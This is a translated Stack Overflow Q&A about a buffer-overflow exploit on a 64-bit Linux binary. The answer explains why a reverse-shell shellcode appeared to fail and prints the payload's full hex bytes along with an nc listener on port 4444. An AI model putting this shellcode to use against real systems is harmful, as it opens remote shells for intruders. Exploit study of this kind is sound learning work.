我正在开发一个简单的64位linux二进制文件。我通过利用缓冲区溢出并使用jmp rsp来获得对程序的控制,从而获得了对RIP的控制。
但是,我在处理外壳代码部分时遇到了问题。我不够精明,不会写我自己的,所以我一直在用我在网上找到的一些。外壳代码需要在端口4444上给我一个反向外壳。
不过,为了测试,我尝试了一些基本的外壳代码。
作品- http://shell-storm.org/shellcode/files/shellcode-806.php
不起作用- https://www.exploit-db.com/exploits/35587/
第一个链接中的外壳代码可以正常工作。第二个没有。
我一步一步地看了一遍程序,每一条指令都排成一行。但是,在最后一次系统调用之后,程序将继续执行堆栈,而不是退出线程。
我真的需要帮助,我已经被困了一整天了。
发布于 2015-08-05 17:56:59
我测试了这两个外壳代码,它们都可以工作。
我认为你忽略了第二个问题的要点。据说:
注意:此C代码连接到127.0.0.1:4444
这意味着它正在尝试连接到localhost (127.0.0.1)上的4444端口。如果没有人在那个端口上监听,那么它就不会连接,而只是尝试执行你的syscall之后的任何东西。
尝试再次执行它,但这一次在执行您的外壳代码之前,您需要启动一些进程,等待端口4444 上的连接。
$ nc -lp 4444 -vv
listening on [any] 4444 ...在执行外壳代码时,先执行,然后执行
./execshellcode64 "\x31\xf6\xf7\xe6\xff\xc6\x6a\x02\x5f\x04\x29\x0f\x05\x50\x5f\x52\x52\xc7\x44\x24\x04\x7d\xff\xfe\xfe\x81\x44\x24\x04\x02\x01\x01\x02\x66\xc7\x44\x24\x02\x11\x5c\xc6\x04\x24\x02\x54\x5e\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x56\x5a\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05" $ nc -lp 4444 -vv
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 40234这是由您的shellcode代码发起的连接。
希望这能有所帮助!
注意::execshellcode64只是我为测试目的而开发的一个个人程序。这实际上不是一个真正的命令。
execshellcode源码:https://github.com/Hackndo/misc/tree/master/execshellcode
https://stackoverflow.com/questions/31732599
复制相似问题